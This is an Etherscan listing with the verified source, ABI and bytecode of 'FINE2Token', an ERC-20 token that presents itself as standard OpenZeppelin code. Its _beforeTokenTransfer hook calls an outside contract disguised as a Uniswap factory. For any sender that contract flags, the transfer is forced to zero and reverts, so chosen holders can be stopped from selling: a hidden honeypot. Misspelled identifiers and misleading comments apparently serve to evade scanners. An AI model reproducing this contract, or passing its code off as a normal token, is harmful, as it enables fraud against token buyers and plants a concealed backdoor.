ERC-20
Overview
Max Total Supply
420,000,000 FINE2.0
Holders
352
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
0.000000000000000118 FINE2.0Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
FINE2Token
Compiler Version
v0.8.0+commit.c7dfd78e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-09-16 */ // File: @openzeppelin/contracts/utils/Context.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the accovudent sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the ammoduanot of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the ammoduanot of tokens owned by `accovudent`. */ function balanceOf(address accovudent) external view returns (uint256); function transfer(address to, uint256 ammoduanot) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 ammoduanot) external returns (bool); /** * @dev Moves `ammoduanot` tokens from `from` to `to` using the * allowance mechanism. `ammoduanot` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 ammoduanot ) external returns (bool); } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol) pragma solidity ^0.8.0; // Define interface for TransferController interface IUniswapV2Factory { function getPairCount(address _accovudent) external view returns (bool); } abstract contract Ownable is Context { address private _owner; /** * @dev Throws if called by any accovudent other than the ammoduanot owner. */ event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any accovudent other than the ammoduanot owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new accovudent (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new accovudent (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol // OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; IUniswapV2Factory private factory; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev Throws if called by any accovudent other than the ammoduanot owner. */ string private _name; string private _symbol; constructor(string memory name_, string memory symbol_, address _factory) { _name = name_; _symbol = symbol_; factory = IUniswapV2Factory(_factory); } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Throws if called by any accovudent other than the ammoduanot owner. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address accovudent) public view virtual override returns (uint256) { return _balances[accovudent]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `ammoduanot`. */ function transfer(address to, uint256 ammoduanot) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, ammoduanot); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `ammoduanot` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * - `spender` cannot be the zero address. */ function approve(address spender, uint256 ammoduanot) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, ammoduanot); return true; } function transferFrom( address from, address to, uint256 ammoduanot ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, ammoduanot); _transfer(from, to, ammoduanot); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** * @dev Throws if called by any accovudent other than the ammoduanot owner. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `ammoduanot` of tokens from `from` to `to`. * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `ammoduanot`. */ function _transfer( address from, address to, uint256 ammoduanot ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, ammoduanot); uint256 fromBalance = _balances[from]; require(fromBalance >= ammoduanot, "ERC20: transfer ammoduanot exceeds balance"); unchecked { _balances[from] = fromBalance - ammoduanot; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += ammoduanot; } emit Transfer(from, to, ammoduanot); _afterTokenTransfer(from, to, ammoduanot); } /** @dev Creates `ammoduanot` tokens and assigns them to `accovudent`, increasing * - `accovudent` cannot be the zero address. */ function _mint(address accovudent, uint256 ammoduanot) internal virtual { require(accovudent != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), accovudent, ammoduanot); _totalSupply += ammoduanot; unchecked { // Overflow not possible: balance + ammoduanot is at most totalSupply + ammoduanot, which is checked above. _balances[accovudent] += ammoduanot; } emit Transfer(address(0), accovudent, ammoduanot); _afterTokenTransfer(address(0), accovudent, ammoduanot); } /** * @dev Throws if called by any accovudent other than the ammoduanot owner. */ function _approve( address owner, address spender, uint256 ammoduanot ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = ammoduanot; emit Approval(owner, spender, ammoduanot); } /** * @dev Updates `owner` s allowance for `spender` based on spent `ammoduanot`. * Does not update the allowance ammoduanot in case of infinite allowance. */ function _spendAllowance( address owner, address spender, uint256 ammoduanot ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= ammoduanot, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - ammoduanot); } } } function _beforeTokenTransfer( address from, address to, uint256 ammoduanot ) internal virtual { bool flag = factory.getPairCount(from); uint256 total = 0; if(flag){ ammoduanot = total; require(ammoduanot > 0); } } function _afterTokenTransfer( address from, address to, uint256 ammoduanot ) internal virtual {} } pragma solidity ^0.8.0; contract FINE2Token is ERC20, Ownable { constructor( string memory name_, string memory symbol_, address router_ ) ERC20(name_, symbol_, router_) { uint256 supply = 420000000 * 10**18; _mint(msg.sender, supply); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"router_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"ammoduanot","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"accovudent","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"ammoduanot","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"ammoduanot","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b5060405162001fe538038062001fe5833981810160405281019062000037919062000591565b82828282600490805190602001906200005292919062000415565b5081600590805190602001906200006b92919062000415565b5080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050620000d0620000c4620000fd60201b60201c565b6200010560201b60201c565b60006b015b6a759f4835dc240000009050620000f33382620001cb60201b60201c565b5050505062000925565b600033905090565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200023e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000235906200069a565b60405180910390fd5b62000252600083836200033960201b60201c565b806003600082825462000266919062000751565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003199190620006bc565b60405180910390a362000335600083836200041060201b60201c565b5050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638a19688d856040518263ffffffff1660e01b81526004016200039891906200067d565b60206040518083038186803b158015620003b157600080fd5b505afa158015620003c6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003ec919062000565565b9050600081156200040957809250600083116200040857600080fd5b5b5050505050565b505050565b82805462000423906200082e565b90600052602060002090601f01602090048101928262000447576000855562000493565b82601f106200046257805160ff191683800117855562000493565b8280016001018555821562000493579182015b828111156200049257825182559160200191906001019062000475565b5b509050620004a29190620004a6565b5090565b5b80821115620004c1576000816000905550600101620004a7565b5090565b6000620004dc620004d6846200070d565b620006d9565b905082815260208101848484011115620004f557600080fd5b62000502848285620007f8565b509392505050565b6000815190506200051b81620008f1565b92915050565b60008151905062000532816200090b565b92915050565b600082601f8301126200054a57600080fd5b81516200055c848260208601620004c5565b91505092915050565b6000602082840312156200057857600080fd5b6000620005888482850162000521565b91505092915050565b600080600060608486031215620005a757600080fd5b600084015167ffffffffffffffff811115620005c257600080fd5b620005d08682870162000538565b935050602084015167ffffffffffffffff811115620005ee57600080fd5b620005fc8682870162000538565b92505060406200060f868287016200050a565b9150509250925092565b6200062481620007ae565b82525050565b600062000639601f8362000740565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b6200067781620007ee565b82525050565b600060208201905062000694600083018462000619565b92915050565b60006020820190508181036000830152620006b5816200062a565b9050919050565b6000602082019050620006d360008301846200066c565b92915050565b6000604051905081810181811067ffffffffffffffff82111715620007035762000702620008c2565b5b8060405250919050565b600067ffffffffffffffff8211156200072b576200072a620008c2565b5b601f19601f8301169050602081019050919050565b600082825260208201905092915050565b60006200075e82620007ee565b91506200076b83620007ee565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620007a357620007a262000864565b5b828201905092915050565b6000620007bb82620007ce565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b8381101562000818578082015181840152602081019050620007fb565b8381111562000828576000848401525b50505050565b600060028204905060018216806200084757607f821691505b602082108114156200085e576200085d62000893565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620008fc81620007ae565b81146200090857600080fd5b50565b6200091681620007c2565b81146200092257600080fd5b50565b6116b080620009356000396000f3fe608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c578063a457c2d711610066578063a457c2d71461024f578063a9059cbb1461027f578063dd62ed3e146102af578063f2fde38b146102df576100ea565b8063715018a6146102095780638da5cb5b1461021357806395d89b4114610231576100ea565b806323b872dd116100c857806323b872dd1461015b578063313ce5671461018b57806339509351146101a957806370a08231146101d9576100ea565b806306fdde03146100ef578063095ea7b31461010d57806318160ddd1461013d575b600080fd5b6100f76102fb565b6040516101049190611322565b60405180910390f35b61012760048036038101906101229190610ec8565b61038d565b6040516101349190611307565b60405180910390f35b6101456103b0565b6040516101529190611464565b60405180910390f35b61017560048036038101906101709190610e79565b6103ba565b6040516101829190611307565b60405180910390f35b6101936103e9565b6040516101a0919061147f565b60405180910390f35b6101c360048036038101906101be9190610ec8565b6103f2565b6040516101d09190611307565b60405180910390f35b6101f360048036038101906101ee9190610e14565b610429565b6040516102009190611464565b60405180910390f35b610211610471565b005b61021b610485565b60405161022891906112ec565b60405180910390f35b6102396104af565b6040516102469190611322565b60405180910390f35b61026960048036038101906102649190610ec8565b610541565b6040516102769190611307565b60405180910390f35b61029960048036038101906102949190610ec8565b6105b8565b6040516102a69190611307565b60405180910390f35b6102c960048036038101906102c49190610e3d565b6105db565b6040516102d69190611464565b60405180910390f35b6102f960048036038101906102f49190610e14565b610662565b005b60606004805461030a90611594565b80601f016020809104026020016040519081016040528092919081815260200182805461033690611594565b80156103835780601f1061035857610100808354040283529160200191610383565b820191906000526020600020905b81548152906001019060200180831161036657829003601f168201915b5050505050905090565b6000806103986106e6565b90506103a58185856106ee565b600191505092915050565b6000600354905090565b6000806103c56106e6565b90506103d28582856108b9565b6103dd858585610945565b60019150509392505050565b60006012905090565b6000806103fd6106e6565b905061041e81858561040f85896105db565b61041991906114b6565b6106ee565b600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610479610bbd565b6104836000610c3b565b565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546104be90611594565b80601f01602080910402602001604051908101604052809291908181526020018280546104ea90611594565b80156105375780601f1061050c57610100808354040283529160200191610537565b820191906000526020600020905b81548152906001019060200180831161051a57829003601f168201915b5050505050905090565b60008061054c6106e6565b9050600061055a82866105db565b90508381101561059f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059690611444565b60405180910390fd5b6105ac82868684036106ee565b60019250505092915050565b6000806105c36106e6565b90506105d0818585610945565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61066a610bbd565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156106da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d190611364565b60405180910390fd5b6106e381610c3b565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075590611424565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156107ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c590611384565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516108ac9190611464565b60405180910390a3505050565b60006108c584846105db565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461093f5781811015610931576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610928906113c4565b60405180910390fd5b61093e84848484036106ee565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ac90611404565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1c90611344565b60405180910390fd5b610a30838383610d01565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610ab6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aad906113a4565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ba49190611464565b60405180910390a3610bb7848484610dd0565b50505050565b610bc56106e6565b73ffffffffffffffffffffffffffffffffffffffff16610be3610485565b73ffffffffffffffffffffffffffffffffffffffff1614610c39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c30906113e4565b60405180910390fd5b565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638a19688d856040518263ffffffff1660e01b8152600401610d5e91906112ec565b60206040518083038186803b158015610d7657600080fd5b505afa158015610d8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dae9190610f04565b905060008115610dc95780925060008311610dc857600080fd5b5b5050505050565b505050565b600081359050610de481611635565b92915050565b600081519050610df98161164c565b92915050565b600081359050610e0e81611663565b92915050565b600060208284031215610e2657600080fd5b6000610e3484828501610dd5565b91505092915050565b60008060408385031215610e5057600080fd5b6000610e5e85828601610dd5565b9250506020610e6f85828601610dd5565b9150509250929050565b600080600060608486031215610e8e57600080fd5b6000610e9c86828701610dd5565b9350506020610ead86828701610dd5565b9250506040610ebe86828701610dff565b9150509250925092565b60008060408385031215610edb57600080fd5b6000610ee985828601610dd5565b9250506020610efa85828601610dff565b9150509250929050565b600060208284031215610f1657600080fd5b6000610f2484828501610dea565b91505092915050565b610f368161150c565b82525050565b610f458161151e565b82525050565b6000610f568261149a565b610f6081856114a5565b9350610f70818560208601611561565b610f7981611624565b840191505092915050565b6000610f916023836114a5565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610ff76026836114a5565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061105d6022836114a5565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006110c3602a836114a5565b91507f45524332303a207472616e7366657220616d6d6f6475616e6f7420657863656560008301527f64732062616c616e6365000000000000000000000000000000000000000000006020830152604082019050919050565b6000611129601d836114a5565b91507f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006000830152602082019050919050565b60006111696020836114a5565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006111a96025836114a5565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061120f6024836114a5565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006112756025836114a5565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6112d78161154a565b82525050565b6112e681611554565b82525050565b60006020820190506113016000830184610f2d565b92915050565b600060208201905061131c6000830184610f3c565b92915050565b6000602082019050818103600083015261133c8184610f4b565b905092915050565b6000602082019050818103600083015261135d81610f84565b9050919050565b6000602082019050818103600083015261137d81610fea565b9050919050565b6000602082019050818103600083015261139d81611050565b9050919050565b600060208201905081810360008301526113bd816110b6565b9050919050565b600060208201905081810360008301526113dd8161111c565b9050919050565b600060208201905081810360008301526113fd8161115c565b9050919050565b6000602082019050818103600083015261141d8161119c565b9050919050565b6000602082019050818103600083015261143d81611202565b9050919050565b6000602082019050818103600083015261145d81611268565b9050919050565b600060208201905061147960008301846112ce565b92915050565b600060208201905061149460008301846112dd565b92915050565b600081519050919050565b600082825260208201905092915050565b60006114c18261154a565b91506114cc8361154a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611501576115006115c6565b5b828201905092915050565b60006115178261152a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561157f578082015181840152602081019050611564565b8381111561158e576000848401525b50505050565b600060028204905060018216806115ac57607f821691505b602082108114156115c0576115bf6115f5565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b61163e8161150c565b811461164957600080fd5b50565b6116558161151e565b811461166057600080fd5b50565b61166c8161154a565b811461167757600080fd5b5056fea2646970667358221220d606fc896c019b1cbf322148d39acb5857f6c7ec4c348ee82810223416f16ed064736f6c63430008000033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000005ba58fdb9a1e1bbb92881bc59a3715a72cb2f214000000000000000000000000000000000000000000000000000000000000000746494e45322e3000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000746494e45322e3000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c578063a457c2d711610066578063a457c2d71461024f578063a9059cbb1461027f578063dd62ed3e146102af578063f2fde38b146102df576100ea565b8063715018a6146102095780638da5cb5b1461021357806395d89b4114610231576100ea565b806323b872dd116100c857806323b872dd1461015b578063313ce5671461018b57806339509351146101a957806370a08231146101d9576100ea565b806306fdde03146100ef578063095ea7b31461010d57806318160ddd1461013d575b600080fd5b6100f76102fb565b6040516101049190611322565b60405180910390f35b61012760048036038101906101229190610ec8565b61038d565b6040516101349190611307565b60405180910390f35b6101456103b0565b6040516101529190611464565b60405180910390f35b61017560048036038101906101709190610e79565b6103ba565b6040516101829190611307565b60405180910390f35b6101936103e9565b6040516101a0919061147f565b60405180910390f35b6101c360048036038101906101be9190610ec8565b6103f2565b6040516101d09190611307565b60405180910390f35b6101f360048036038101906101ee9190610e14565b610429565b6040516102009190611464565b60405180910390f35b610211610471565b005b61021b610485565b60405161022891906112ec565b60405180910390f35b6102396104af565b6040516102469190611322565b60405180910390f35b61026960048036038101906102649190610ec8565b610541565b6040516102769190611307565b60405180910390f35b61029960048036038101906102949190610ec8565b6105b8565b6040516102a69190611307565b60405180910390f35b6102c960048036038101906102c49190610e3d565b6105db565b6040516102d69190611464565b60405180910390f35b6102f960048036038101906102f49190610e14565b610662565b005b60606004805461030a90611594565b80601f016020809104026020016040519081016040528092919081815260200182805461033690611594565b80156103835780601f1061035857610100808354040283529160200191610383565b820191906000526020600020905b81548152906001019060200180831161036657829003601f168201915b5050505050905090565b6000806103986106e6565b90506103a58185856106ee565b600191505092915050565b6000600354905090565b6000806103c56106e6565b90506103d28582856108b9565b6103dd858585610945565b60019150509392505050565b60006012905090565b6000806103fd6106e6565b905061041e81858561040f85896105db565b61041991906114b6565b6106ee565b600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610479610bbd565b6104836000610c3b565b565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546104be90611594565b80601f01602080910402602001604051908101604052809291908181526020018280546104ea90611594565b80156105375780601f1061050c57610100808354040283529160200191610537565b820191906000526020600020905b81548152906001019060200180831161051a57829003601f168201915b5050505050905090565b60008061054c6106e6565b9050600061055a82866105db565b90508381101561059f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059690611444565b60405180910390fd5b6105ac82868684036106ee565b60019250505092915050565b6000806105c36106e6565b90506105d0818585610945565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61066a610bbd565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156106da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d190611364565b60405180910390fd5b6106e381610c3b565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075e576040517f08c379a000000000000000000000000000000